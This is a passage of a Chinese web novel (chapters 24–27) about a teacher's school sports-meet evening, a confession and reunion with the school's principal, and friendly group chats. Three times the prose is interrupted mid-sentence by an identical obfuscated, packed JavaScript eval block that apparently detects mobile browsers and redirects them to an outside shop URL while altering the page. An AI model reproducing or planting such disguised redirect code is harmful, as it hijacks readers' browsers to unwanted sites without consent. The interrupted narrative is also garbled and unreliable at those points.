“哈哈哈…你们…哈哈…收敛点,快到了…”他们终于跑到了操场的外圈,徐真喘得上气不接下气,眼泪都已经笑出来了,但手要压着裙子,一直来不及擦。 唐瑜嫣仔细观察了一下,随即指挥道,“别笑了…好像国旗队已经入场了……你们从背后这个楼梯绕上看台,去找给竞赛部划的区域……小声点,我和徐老师得去那边走个过场。”不是,她们怎么整天都要干这种鬼鬼祟祟的事? 冯熠给她比了个OK的手势,“保证完成任务,唐老师徐老师你们一路走好!”然后如花果山大王一般,带着一群猴飞蹿了出去。 这词是这么用的吗……唐瑜嫣无奈,但当务之急是想办法混进老师大队,国旗队走完后再隔两队就到她们了。 “篮球场那的门进得去吗?”徐真问。 “进不去,那边布置完烟花后就拉警戒条了。”唐瑜嫣想也不想直接否决,“你穿着裙子好翻墙吗?我们翻进去?” “小唐啊,怎么做老师了还总想着翻墙啊……这可不是一个好榜样的做法,还有,下次不要再让我抓到你踩点了啊……”一道熟悉的声音在她们身后慢悠悠地响起。 唐瑜嫣脊背下意识一凉。 24. 第 24 章 “小唐啊,不是盛老师说你,为人师表,咱们要以身作则啊,你都踩点到了,你的学生会比你早到吗?” 盛老师领着唐瑜嫣和徐真直接从学生班级中横穿,插入到教师队列里,招招手让人往她们手里各塞一面小旗,“下不为例啊…盛老师不想再看见你们踩点了……” 唐瑜嫣低眉顺眼地点头应和,班主任不愧是班主任,你永远会在迷路或犯点小错的时候不幸一头撞上。 盛老师拍了拍她的肩膀,上下打量了她一会儿,决定打了个巴掌又给个甜枣,“这身西装挺不错的,英挺,看着就精神。” 精神吗,唐瑜嫣斟酌了一会儿要不要吃下这颗甜枣,她一时分不清老盛到底是在夸她还是骂她,毕竟精神小伙也能称得上精神不是吗。 于是她把内衬扯平了些,拍了拍刚刚跑动沾上的灰,尽量让自己远离属于精神小伙的那边。这时后面有位老师低声提醒,“小唐走了,到我们了!” 话音刚落,全操场的灯骤然聚焦于他们身上,白的,彩的,闪烁的,旋转的,光彩耀目。 唐瑜嫣突然有一瞬恍惚,这不奇怪,毕竟此时此刻,无论是谁站在其中,都难免会产生一种自己是世界主角的错觉。 唐瑜嫣微眯着眼睛,看向灯光源头。刺目的光照得她眼眶有些湿润,虽然已经知道结果,但她还是想亲眼看到。 主席台中央的位置被专门空出来,宋飞珑真的没能及时赶回来。 “他能在闭幕之前下飞机吗?我还有机会吗?我们……我们真的又错过了吗?”密密麻麻的焦虑之情又漫上她的心头——她好不容易才下定决心,不会这次又差这么一点吧。 “现在向我们走来的是教师方阵,言传身教塑灵魂,昂首阔步展雄风。平日里,老师是园丁,辛勤耕耘,而现在,踏足运动场,他们更是铁山的运动健儿!” 主持人激昂的介绍词响起,唐瑜嫣呆滞了两三秒,直到看到前面已经走出了两三步,才反应过来他们正在进行校运会的入场式。 这节骨点可马虎不得,她赶紧跟上队伍节奏,沿着跑道踏步向前迈进。 除去准备和宋飞珑表白这事,她的心情依旧很复杂,毕竟谁能想到自己毕业后会有一天跟着以往的科任老师,聚集在一个队伍里,抬腿迈向主舞台前方呢?这话要是放以前,她铁定要被好友嘲笑菌子吃多了。 他们中老年枸杞团的任务极其简单,不需要才艺展示,只用整齐地从起点出发,走100m,在主舞台前停一下,面对同学挥旗,再走100m到终点。就可以坐上看台,美美欣赏各年级同学精心准备的演出了。 主席台上的气氛过于冷清,不提尚未归来的校长,还有一半领导正和她一起入场,尚未入座。 唐瑜嫣在等待前面老师走上舞台这一间隙,目光开始四处游移,学生们在舞台下欢呼的激动的面孔于白光散射中有些模糊,看不真切,舞台周围摆满了鲜花,争奇斗艳,于秋色中开得烂漫。 身后的大屏幕上是舞台表演的高清转播,不仅是为在场同学看得更清楚些,更是为了让身在四海的毕业生都能见证本次盛宴。 屏幕上有许多弹幕在飘,大概是祝附中越办越好,学弟学妹金榜题名云云。看来的确有不少学长学姐都在蹲守这次直播。 唐瑜嫣真没想到宋飞珑居然真的实现了他多年前的随心之言。今年提前好几个月专门在操场安装了一个大屏幕,搭建了一个大舞台,架了一群摄像机,还飞了好几台专门拍摄不同画面的无人机。 “……这个人真是,这种事都能做到,倒是对我信守承诺一点啊……”唐瑜嫣心中泛酸,站在舞台中央敷衍地挥了挥旗子,准备意思意思就这样过去了。 但考虑到夜空中,操场中间的学生们兴奋地把荧光棒摇出了残影,气氛欢腾且跃活。如此敷衍未免太对不起他们努力,于是她用了点力,让旗子上的图案在空中飘得更清楚些。 欢呼声和掌声更大了,或许是因为后面上场的是舞蹈队的那帮小姑娘,她们如一群蝴蝶,翩跹地飞上舞台,华服盈袖,钗环相映,流水般柔和的音乐娓娓响起,大抵是要表演一首当期正红的国风曲。 唐瑜嫣为数不多的任务就这么轻松地结束了,她慢慢走上看台,找了个视野清晰的角落撑着头发呆。 手机响了两下,她点开,是展妙,宋飞珑走后展妙怕勾起唐瑜嫣的伤心事,拉了一个只有三个人的群。 她有些失神,忘记了自己要做什么。下意识地往下拉了拉消息栏,发现宋飞珑在她跑来体育场的时候给她发了一条消息,说他已经上飞机了,保证能为晚会送上校长致辞。 心又稍微落回原处,展妙这时又发了一条消息,还是张图片。 展妙:小唐我看到你了哎!我要举报你走神摸鱼不专心! 展妙:等等我还截了图! 展妙:{图片} 唐瑜嫣有些无奈,这张正好是她四处偷瞄的时候。能从这么多老师中间把她揪出来,展妙简直又无聊又有实力。 唐瑜嫣:展姐你晚上没课吗?快看学弟学妹表演别看我了!今年好多节目呢! 展妙:水课水课!我们教授今天有事出去了,找了个博士来代课。这老哥什么实在的也没讲,净吹些自己科研成果,我都快把他的生平背下来了。 段辰:天!哭了!我还在医院里实习,只敢在换班的时候偷瞄几分钟【大哭】【大哭】 说起来他们仨最后报志愿时选的专业简直是南辕北辙,所在的城市更称得上天南地北。 作为本省文科状元,展妙矢志不渝地报了最初想学的考古,被抢着去了京城,段辰拿到银牌后走强基靠竞赛加分学到了五加三临床医学,冲着麻辣鲜香的饮食文化去到了到哪儿都是爬山的山城。唐瑜嫣直接靠银牌保送去学了化工,选择了最繁华的大城市魔都。 刚毕业的时候,唐瑜嫣有想过他们会不会就此淡了,她对友谊的态度算不上积极,她之前有过的基本都是一些阶段性的友情。毕竟他们相隔万里,没有了地缘和业缘的联系,维系关系成了一个很大的难题。 但是展妙好像一直不这么认为,每年放假的时候都会约他们出去玩,有空还会飞去他们的城市,仅仅为了和他们吃一顿饭。 段辰和唐瑜嫣虽然从来不说,但一直为此感动,于是也总在回家之前,默默为彼此准备礼物。 真好啊,宋飞珑的离去并没有影响到他们三个人的关系。 唐瑜嫣:十点十分这样放烟花,到时候记得偷偷溜去厕所看。 段辰:我好卑微,我好可怜,早知道我也报化工,直接回铁山当老师了嘤! 唐瑜嫣笑着摇头。这大概是早工作的好处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406473|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,早早就翻身做主人了……不对,这哪是主人,这分明是牛马! 展妙:哎哎哎你们快看,舞台上打起来了!!! 什么!打起来了!唐瑜嫣猛然抬头,就见一个齐天大圣模样的人,哦不,猴,一棍子敲向了那个拿着青龙偃月刀的家伙。 对方瞬间抬刀格挡,挑开棍子后回了他一个横扫千军。猴子见状也不甘示弱,手指翻飞,结了一个复杂的手印,“呔,八方神兽助我一臂之力!” 这什么?孙悟空三打关云长吗?唐瑜嫣目瞪口呆,随即又被接下来的情节震掉下巴。 只见这所谓唤兽咒唤出来的神兽并非那朱雀青龙,而是一台电视机,令人拍案惊奇的是其画面黑的黑,白的白,唯有一口深井竖立中央。 说那迟那时快,一个头发遮面的白衣女人从中爬出,惨叫一声就扑向那身披铁甲的将军。 “何方妖孽在此作祟!”关云长胡子一抖,右手一扬,定睛一看,“本将不打老弱妇孺,烦请姑娘速速离去!” 只可惜这白衣女不依不饶,赤手空拳也敢直面刀尖寒芒,将军面露难色,只道:“尔等不仁,那便休怪吾不义。”双脚一跺,也唤出一位帮手,“小友助我。” 新上台的演员身着黑色燕尾服,腰侧配一利剑,本该是意气风发,却面露哀伤之色。 他见三人如此剑拔弩张,立马横跨其中,张口劝诫,“Tobeornottobe.Thisisaquestion.”(生存还是毁灭,这是一个问题。) 三人哪里听得懂这洋文在说甚么鸟,纷纷提起武器再次战至一团。 在这电光火石之间,一阵强劲的音乐冲天而起,一位身穿Dj皮衣,带着大金链子和黑墨镜的不知名人士拨弄着吉他出场。“Yo,Yo,保卫世界和平,是我们的使命,上下中西文明,交流合作同行,skr!” 也不知道这诡异的歌词有什么魔力,台上四个人同时停下手中动作,在台下同学震耳欲聋的掌声与笑声中抱在了一起,齐声大喊,“为世界和平而奋斗!”随即又站成一排弯腰谢幕退场。 现在孩子们的想象力都这么丰富的嘛?怪不得她在化妆室看到了那么多奇怪的武器和化妆品,原来是自有其妙用。 “关羽你又踩到我的裙子了!”这帮穿着奇装异服的家伙谢幕后又冲下台跟观众们互动,那白衣女鬼对自己多了几个鞋印的裙摆表示心疼。 “哎呀!抱歉抱歉!”关二爷完全没了台上那端着的气势,挠着头陪笑,还热心地帮主持人讲串词,“感谢大家的喜欢!我们要退场了!请期待下一个节目!” 一出另类的话剧把现场氛围炒至巅峰,唐瑜嫣也把注意力转移到晚会本身,只是有一搭没一搭地瞥着手机消息,等着某人到站下飞机的消息。 今天晚上她少说收到了一万条消息,有他们三人群里的,展妙一个人就可以叭叭叭说个不停,有教师群里的,大家在热议今晚那些出乎意料的表演,还有竞赛部那帮孩子借着徐真手机问她躲在哪的。导致唐瑜嫣每次都是满怀期待地抬起手机,又有些遗憾地放下。 “他再不回来的话表演要结束了……”唐瑜嫣的脑海里突然冒出这个想法,“他一定会喜欢这个话剧的,感觉肯定很对他电波……哦也不能这么说,估计他每个节目都挺喜欢的,毕竟都是大家的心血……” 25. 第 25 章 “……不仅会学习,我们更会舞蹈。请大家欣赏由高471班带来的网络热门慢摇!” “长亭外…古道边…” “屏幕前的老铁们觉得我的搭档这次能行吗?” “是啊,能行吗?” “不知道。” “害,甭管他行不行了,咱们走着瞧!” 舞蹈、合唱、串烧、相声…… 节目单渐渐见底,晚会也要走向尾声。 “……感谢同学们在学习间隙所付出的努力,为我们献上了如此精彩的表演。秋季校运会开幕在即,相信同学们也有很多想表达的,想承诺的。下面有请运动员代表上台宣誓。” 哦,表演环节结束了……唐瑜嫣心里那点别扭显得更说不清道不明了。 “嗡…嗡…”她机械地翻开手机,黑暗中闪着盈盈微光的屏幕上,聊天框里终于跳出了她等待了一晚上的那条消息。 “下飞机坐上车了,我让他们多讲点漂亮话帮我拖一会儿,小唐等我……” 后面的话是什么唐瑜嫣已经看不清了,她只知道她微颤的手突然稳下来,心中奇怪的灵感片段闪烁。“坏了,光想着要和他表白,好像什么也没准备,要不要现在去订一束花,送花是不是又有点土了……” “……我保证……遵守……规则………公平……比赛……” 看样子她还有些耳鸣,外面老师和同学代表说话的声音她也听不真切了,好像陷入了一个玄之又玄的境界。 “……韦老师还给大家精心准备了一个mv和新曲子,大家惊不惊喜,期不期待啊!” “哈哈哈哈哈……期待………但我要替全体同学们说一句,几位领导别废话了,大家都等着放烟花呢!” “………别急啊………我们…………” “嗡嗡嗡——” “大家晚上好啊!你们最最亲爱的宋校长终于脚踩飞机肩扛车,一路腾云驾雾回来了!” “哎有人要问了,宋校宋校,你这么着急赶回来是为了什么呢!那当然是要在放烟花之前跟你们讲两句废话了!没有我的废话环节校运会能圆满吗?” “哎呀开玩笑的!等会是什么环节大家都知道吧?对了!放烟花!宋校长呢也想蹭一蹭烟花的祝福,干一件震天撼地的大事!” “大家能鼓鼓掌,预祝宋校长顺利吗!” 如雷般的掌声把唐瑜嫣从梦中唤醒,直播上的弹幕刷得更快了,展妙也偷偷私聊问她,老宋怎么突然跑回来了。 “好的,谢谢大家!那么接下来就到了我们最最期待的环节!铁山的学子们,无论你们身在何方,今晚,铁山上空的烟花,为你们而绽放!” “砰……” 万千烟火腾空而起,在天幕划过一道道曲线,在最高点疯狂且野蛮地炸开,留下一片片璀璨的星光。 那闪烁的光芒映在唐瑜嫣眼底,她突然反应过来,扶着墙快速起身,跌跌撞撞地绕过举起手机拍摄烟花的人,顺着背后的楼梯跑下看台。她要去找宋飞珑,现在立刻马上。 啧,皮鞋跑着挤脚,早知道穿双跑鞋了。哦,不是,我现在还穿着西装……是不是要准备一束花,不然真像卖保险的了。但现在……算了,先揪一支花篮里的凑合一下吧,怎么也算个意思! 等等,我要去哪找他?不管了先去舞台背后看看吧,他估计刚下台。 韦老师精心准备的新曲也于此刻压轴登场,抛弃了以往欢快热血的风格,这首歌居然是首讲铁山一路发展的带有些温柔的类民谣,“在万千人海中我亦能循至你的足迹……” 他该如何描绘那一瞬间呢?当宋飞珑抱着一个大盒子从后台出来,还来不及考虑自己这身白西装有没有在一路风尘仆仆中弄脏。 乍一抬眸,在烟花绽开的瞬间,那个他惦记了好几年的心爱的姑娘,拿了一朵红色的玫瑰,像一位骑士,坚定不移地向他跑来。 “宋飞珑……” “小唐……” 他俩同时开口。 “你先……” “你先说……” “行……那我先说。”唐瑜嫣没有再推脱,拿着玫瑰往前递,“宋飞珑,这么多年了,我发现,我就是很喜……” 宋飞珑在她把“喜欢”说完之前赶紧打断,“等下小唐,还是我先说吧!” “小唐,想了那么久,我大概猜出了你之前在纠结什么。我不是故意想要断联的……我当时……你知道我爸当时突发心梗去世了吧。” “当时我,买了去找你的机票,然后想去帮你过生日……我在发消息告诉你的时候接到了我妈的电话。” “我爸那几天好像在准备一个大项目,住在公司熬了好几天夜,然后他…忘记自己其实年纪已经大了…那一天晚上睡着了以后,就再也没醒来。” “我妈跟我说的时候,我当场就懵了,就…老宋在我心里一直是一个很健康的人,每天按时运动,每年按时体检,但我妈…不可能会拿这种事开玩笑。” “我妈说她已经让她律所的叔叔来找我,帮我买了出国的票,叫我把手机也扔了……我二叔比她更早收到了我爸出事的消息,提前找人定位了我妈的手机。” “……我妈去医院找我爸的路上,被一台故意闯红灯的车给撞了,幸好车内安保措施好……她怕我也出事,让我赶紧去国外避过这一阵。” “我连我爸的葬礼都没看到……”他有些讽刺地扯了扯嘴角。 “后来我妈就和我二叔三叔争家产,我妈叫我别管……她是律师,还有一个全是金牌律师的律所,打了很漂亮的一战。” “再后来家里的事处理了大半,我妈帮我把学籍转了出去。我在美国转专业学了金融管理,毕业后回来赶鸭子上架地当了几天的公司主管,发现实在是不擅长,比起这个我更擅长吹牛忽悠和给人画大饼。所以我拉了一帮很厉害的人,让他们去处理公司的事……” “……忙完这些事后,我转头才发现铁山前几年闹分裂闹得根基大伤,眼见着就要没落了。于是就回来接管铁山了。” 宋飞珑抬起眼睛定定地看着唐瑜嫣,“我说这些,不是在找借口,也不是想让你同情我。” “我想让你知道,这件事是突发意外,我向你保证以后不会再发生类似的事。” “小唐,我在纽约的时候,每个新年都会在时代广场许愿,希望即使人生没有我的参与,你也能天天开心,无忧无虑。所以这些年,你有快快乐乐地长大吗?” 唐瑜嫣不知道为什么突然有些想哭,就像是在高中消耗光了未来好几年的气运,她上大学这几年的生活称不上顺遂,也就勉强够得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406474|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到一句有起有落。 远在异乡,朋友再好也不在身边,她几乎都已经忘记自己是怎样一个一个坎迈过去的了,此时宋飞珑提起她才反应过来,她到底受过多少委屈。 连带着最近心绪连续波动的难受,她的情绪愈发有些决堤,眼圈渐渐泛红,想抬手揉又觉得有些丢脸,于是有些凶巴巴地装腔作势:“西方的神还管得到我快不快乐呢……你光求神拜佛有什么用……” 宋飞珑赞同她的观点,穿着西装没带纸,上下翻了翻,只摸出一张手帕,递给她,“所以,从现在开始,我想尽我所能让你开心……” “小唐,刚开始那几年我在美洲欧洲隐姓埋名流转移居,我妈让我别逼疯自己,多出去走走散散心……我也就凑巧追过阿斯比库的极光,看过圣托里尼的日落,也到达过乌斯怀亚的世界尽头。不禁感概世界之大我之渺小。” “但就……你能明白吗,如此壮丽美景当前,我下意识想的是,真可惜啊,我好像没办法再跟你分享了。” 宋飞珑以一种很郑重的语气表白,“小唐,我喜欢你!但是我想追你,你别这么快就答应,我希望你能在我的追求中感受到安全感,然后慢慢地,让我走进你的生活。你不需要做什么,我想向你展示跟我在一起的价值,你已经很好了,但我能让你的生活变得更好。” “……别这样。”唐瑜嫣擦干浸出的眼泪,收拾了下心情,咬唇沉默了一会。她看了一眼自己一直拿着的花,被她揪出吸水绵后没过多久就被风吹得有些蔫,她赶紧把花塞进宋飞珑怀里,也不管他愿不愿意,“这对你不公平,这不是你的错,两情相悦的事非要……” 宋飞珑接也不是,不接也不是,有些哭笑不得地把它别在胸前,“有必要的,我让想你没有一点犹豫和勉强……其他都可以听你的,就这件事……” “行,那你追我,我现在同意了。”唐瑜嫣有些执着地抢答。 “别这样啊,我们循序渐进一点……好了说好要让你开心的,别哭丧着脸,笑一下笑一下!” “现在让我们进入追人的下一个环节,看看我给你带来的礼物……” 宋飞珑终于打开了那个抱了老半天的大盒子,唐瑜嫣往里一看,里面装了一大堆风格各异的小东西,冰箱贴,徽章,玩偶,饰品,小水钻,还有一些看不懂文字的刊物。 “每到一个新的国家,我都想着要不给你准备些礼物吧,万一以后真能送到你的手里呢。看来我还是很有先见之明的。” “噔噔!”他举起一只羊驼,“你快摸一下,你别看它表情凶巴巴的,但是真的毛很软,我当时买得时候就觉得像你!” 唐瑜嫣不知道说什么,气氛转变得太快,怎么又给他带进了他的节奏里,论谁看到这堆积攒了好多年的小礼物都会被感动,但听到这种离谱的理由后又忍不住想给他一肘。 “有你这么追人的吗,净给人找不愉快!”唐瑜嫣扯了扯嘴角,露出一个假笑。 一整个篮球场的烟花不知不觉间放了个彻底,空气中弥漫着淡淡的硝烟的气息,学生们意犹未尽地嬉笑着散场。 或许毕业很多年以后,他们都无法忘记这一晚在铁山的惊喜,或许踏入社会以后,他们会发现世界并不是想象中那么美好圆满,但心里还会有那么一片温柔的角落供他们汲取力量。 26. 第 26 章 越来越多的学生从操场与看台涌出,好巧不巧刚刚唐瑜嫣和宋飞珑叽叽咕咕拉拉扯扯了好一会儿,此时正好横在了他们的必经之路上。 宋飞珑今晚又在台上说了那模糊不清的话,秉承着不想给这帮超级构史大王提供睡前八卦的理念,唐瑜嫣把他拉到了一条与宿舍反方向的小道上。 宋飞珑这厮不知道犯了什么病,一路上就知道看着她傻笑,“小唐你真的可爱死了,你耳朵红了你知道吗?” 别说耳朵了,她整个人都像个冒热气的蒸笼,埋着头一味往前走,“你还不是你害的,说什么追人!要是给人看到了不知道要被唠嗑多久。” “反正我追你呀,被编排的肯定是我,你又不用做什么,享受被追过程就好了呀!”宋飞珑明显不在意被不被人看到,看到就承认了呗,成年人追喜欢的姑娘又不丢脸,不过还是主动跟着她往小道走。 “我还没介绍完我的礼物呢!”他还装上委屈了,将盒子中的礼物接连掏出,向唐瑜嫣展示邀功。 “哦,这是个日记本,在国外那几年我去哪都背着,上面盖满了来自世界各地的章,我还特意在旁边标了地址和日期,就当是向你报备行程了!”日复一日,原本是刻意记录自己的生活,后面慢慢成为了他下意识的习惯。 唐瑜嫣哑然,这人太过于飘渺疯狂,都被赶到异国他乡了还到处当街溜子,文学史或历史上流亡的王子有哪位能如他这般坦然?不过她清楚,其间定有诸多苦难,只是宋飞珑不愿多说罢了。 不仅如此,唐瑜嫣也因他的面面俱到而撼然,她的翻了翻那本羊皮卷风格的日记本,上面的书写的地址莫名有些奇幻感,像是一个个锚点,定格了时间与空间,“或许我的焦虑确实只是焦虑,仅仅是一些无意义的空想……” 宋飞珑指了指一块躺在红丝绒上的紫水晶,接着介绍,“哦,然后在利马,我淘到了这块神秘学的秘宝,你别看它坑坑洼洼的不起眼。那条街最有名的吉卜赛女巫跟我保证,这是她见过最好的魔灵媒介。” “她帮我用这块紫水晶和一陶罐鼠尾草占了一卦,桌上水晶球告诉我,我未来的爱人左肩停着只雨季的鸽子,翅膀沉甸甸地压着多年前被风吹散的约定,而我的镜像在某个月食夜偷偷更换了瞳孔的颜色。” “——出门左拐,第三百零一个门牌后面藏着一块来自异国的徽章。而制造它的人……今夜正对着相同的月亮,煮一锅放太多糖的苹果酱。” “很无厘头吧,我也觉得……但是那个女巫摇晃着风铃给我指了一个方向,说在那我就能找到我想要的答案。” 他顿了顿,想吊一下唐瑜嫣的胃口,又在她瞪过来之前光速开口。 “于是我想,我二叔总不至于派个女巫来害我吧!这可是百年难得一遇的奇遇!” “于是在那个燥热又潮湿的午后,我顺着她指的那条路走到底,敲了敲那个带铜把手和生锈门牌的木门,屋子主人听到我的来意后,邀请我进门喝一杯他妻子泡的肉桂茶。” “肉桂茶辛辣的收敛感在我的口腔回荡,男主人邀请我在屋内逛了一圈,领着我看他搜罗的各种古董。在那一大堆金银铜铁中,我第一眼就看到了这个徽章。” 他把他的百宝盒合上,给唐瑜嫣看被他贴在盒子表面的那个花型的徽章。 “你看它的图案,是不是跟你化学竞赛的奖牌特别像!”宋飞珑的语气中还藏着第一次看见它时的惊讶,显然他也认为这是一个不可能发生的巧合。 唐瑜嫣闻言抬头瞥了一眼,这已经不能说是特别像了,简直是如出一辙,徽章上甚至还刻着他们那一届获奖的年份。 她也忍不住发出惊呼,“怎么可能?这科学吗?你怎么会在欧洲发现了这个八杆子打不着的玩意?” “是啊,很神奇吧。屋主告诉我,这是一位年轻的摄影师给他的,那个年轻人的钱包和手机在法兰西的地铁里被偷了,又不想这么快回国,索性一边赚钱一边旅游,当个快活的吟游诗人,正巧也曾在他家落脚。” “这位摄影师说,他原本想为屋主和他的妻子拍几张照,以感谢他们的热情款待。找拍摄背景的时候,正巧发现他们俩夫妻很喜欢收藏一些小东西,就把这个徽章送给了他们。” “摄影师跟还跟他们介绍,这是照着一个对于他来说很重要的奖牌做的一个3D模型,打印出来之后就一直随身携带。”宋飞珑解释,“后来屋主看我与这个徽章有缘,就把它转赠给我了。” 唐瑜嫣咋舌,如果她没理解错的话,这大概是一位参与过化学竞赛的人,因为与好友吹牛说大话,或为了纪念自己的青春岁月,闲着无聊做出来了一个竞赛奖牌的小周边,好巧不巧流落到了大陆的另一端。 没想到若干年后,又有另一位途径异国的化学竞赛生,由于好奇走进了女巫小屋,靠着那虚无缥缈的占卜指路找到了它。于是这个小徽章辗转几圈又重返祖国怀抱。 这简直可以拍科幻片了,作为一个唯物主义者,唐瑜嫣觉得这简直就是亿万可能性中最离谱且唯一巧合。 但如果遇到这种事的人是宋飞珑,她又不觉得奇怪了,在她的心里,宋飞珑就是奇妙二字本身。 “……说到竞赛,明天小姜上场打球,我把他爸妈叫来看了,不是说想让我开心,帮我排忧解难吗?去!帮我搞定他们俩!” 虽然他讲得轻快有趣,像一个描写探险的童话故事,但听着他的流亡史,唐瑜嫣内心总有种说不上来的酸胀。她有心转换话题,顺便把这收尾工作直接甩给他。 “哎哎,我抒着情呢,怎么扯到工作上的事儿了!”宋飞珑并不买账,又有些贱兮兮地恭维,“你都快解决了还愿意把功劳让给我呢!” “那俩教授万一学历歧视怎么办?你怎么也算是个海归硕士留子,说出去多唬人!”唐瑜嫣没事找事,就想和他斗斗嘴。 “面子重要还是孩子重要,他们怎么可能会拎不清。”宋飞珑胸有成竹。 不知不觉间,他们俩已经走到了教师公寓楼下。唐瑜嫣转过头,看着宋飞珑的脸还欲说些什么,对方却抢先开了口,“我今天这一身是不是帅得惊为天人?满分十分你打几分!” “要点脸呢!六分,感觉不如我。”唐瑜嫣冷哼一声,“算了七分吧,那花给你加了一分。” “好吧好吧,既然这样,看来明天我得打扮得更花枝招展些了,”宋飞珑超好脾气,小心地把百宝盒交到她手上,又亲昵地揉了揉她的头,“好好休息,明天再见啊!” “宋飞珑,我没给你准备礼物,也没有你这么有惊喜感,我……算了,我以后会的。”唐瑜嫣突然开口,拉住了他的手。 “小唐,不要有压力,”他笑得坦然又自在,一如既往地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406475|200536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温柔绅士,“你不管做什么我都喜欢你,所以你想怎么做就怎么做!” “……” 唐瑜嫣总感觉今天自己有些泪失禁,不然为什么听到这句话,也能产生想哭的冲动。她吸了吸鼻子,勉强克制住自己,快步走进电梯,吩咐那人,“……别肉麻了,晚安好梦,明天见。” 这也能算肉麻吗? 电梯门缓缓合上,看着她渐渐变窄的身体,宋飞珑笑意不减,轻轻挥了挥手,如女巫般吟唱,“以我狭见,明天确然如海雾中的昼日,但我们依旧在编织那不可捉摸的天光云影。” “当你再一次推开晨雾的玻璃门,会看见我留在藤编篮里的黑麦面包正与黄油私奔,炉上陶壶哼着西伯利亚铁路的古老颤音,而窗台那盆罗勒草——刚用新芽在泥土里刻下了我们第一千零二个重逢的坐标。” 即使知道她已经随着电梯上升,宋飞珑仍在继续,仿佛在说服自己这并不是个预言。 “再这样下去,我迟早会再次不顾一切爱上他……”唐瑜嫣靠着电梯看天花板,“在爱情面前果然人人都是愚者……不过又有什么关系,我们都在慢慢变好不是吗?” 忽然间,她又想起什么,认可亲密关系的第一步大概是让对方融入自己的朋友圈,虽然他们好像已经有很多共友了。 但在电梯门打开,信号恢复的那一瞬间,她还是打开了他们三人的群,宣布自己和宋飞珑彻底和好了,目前他在追自己。 段辰和展妙回复得很快,也没觉得宋飞珑在追唐瑜嫣是什么小众的字眼。总之他们跟过年一样高兴,发了一大堆表情包庆祝他们和好,并表示期待希望未来能更好。 展妙:那是不是可以把老宋拉进群了!不行不行我们还是新建一个群吧!这是我们小唐的娘家群!他要是敢欺负你就直说! 段辰:没错没错,展姐你管埋我管救,保证出不了人命……话说宋哥是不是不用以前的微信号了,小唐你来拉? 唐瑜嫣想了想确实可以,动了动手指拉了个新群,看到群里并排在一起的四个名字了她又开始感慨,他们真的好久好久没有并肩前行了。 唐瑜嫣:1 展妙:哇哇哇哇哇老宋!有没有很想我们! 段辰:宋哥,我看你换微信号了还以为你不想理我了呢,我还想蹭吃蹭喝…… 宋飞珑:怎么会?我旧手机估计已经成太空电子垃圾了……等你们放假回来来我家吃啊! 宋飞珑:段博士五加三是不是要毕业了?展女侠呢?还要读博吗? 段辰:是啊,很快要从学校最大的牛马成社会最小的牛马了,宋哥,铁山还招老师吗,我觉得我也可以一战! 唐瑜嫣:你舍得放弃你对口分配的医院工作吗,还是乖乖昼伏夜出吧。 展妙:嗨呀!我这专业人少,基本保博了,还要当几年学生呢! 宋飞珑:强呀,小唐要不要也边工作边考个研? 唐瑜嫣:……你给我上难度呢? 展妙:不许欺负我们小唐,小唐当年保上研了的,拿到的offer太好直接去工作了而已! 宋飞珑:展女侠饶命,并没有这个意思,我是想说小唐想带薪考研也不是不行【合手】【合手】【合手】 展妙:量你也不敢有这个意思!以后小唐要是不高兴了我和段辰第一个收拾的就是你! 27. 第 27 章 “咚咚咚咚咚……起床了起床了,太阳晒屁股了!”一阵激烈的敲门声唤醒了一整层夜猫子沉睡的心灵。 “我靠冯熠你有病吧!你看看现在几点呢!舍管阿姨家的鸡都没打鸣呢!” 魏浩睡眼惺忪地从里面打开了那扇惨遭蹂躏的门,“一个宿舍六个人给你吵醒了五个,还有一个四点起来背书被你吓得一屁股坐进坑里了!” 说完魏浩就想直接把门甩上,冯熠连忙扒拉住即将合上的门缝,煞有介事地说,“哥们,十万火急啊,你还记得今天是什么日子吗?” “姜程阳球赛,校队决出去市赛和省赛名额的重要比赛。都说过一万次了我怎么可能忘,十点开赛你五点来叫我干什么!” 魏浩一秒都不想多浪费,恨不得下一瞬就能直接闪现回自己温暖的被窝里。他边说边用力把冯熠的手指扣开,试图夺回关门主动权。 “别急别急啊……你知道对面许队叫来了一整个舞蹈队的姑娘去帮他们加油助威吗,我们这边呢?不能在气势上短他们一截啊。” “舞蹈队的队长是人亲妹妹啊,”魏浩无语且没好气,“人给自己亲哥助威有问题吗,有本事你让你妈也给你生个小你两岁的妹妹来我们学校……而且那副队不是你初中同桌吗,你喊她过来帮帮忙啊。” “她要愿意我早叫来了,她警告我不要破坏她们小姐妹间的关系!”冯熠咬牙切齿,“我就不信了她们舞蹈队垄断会跳舞的人了!” 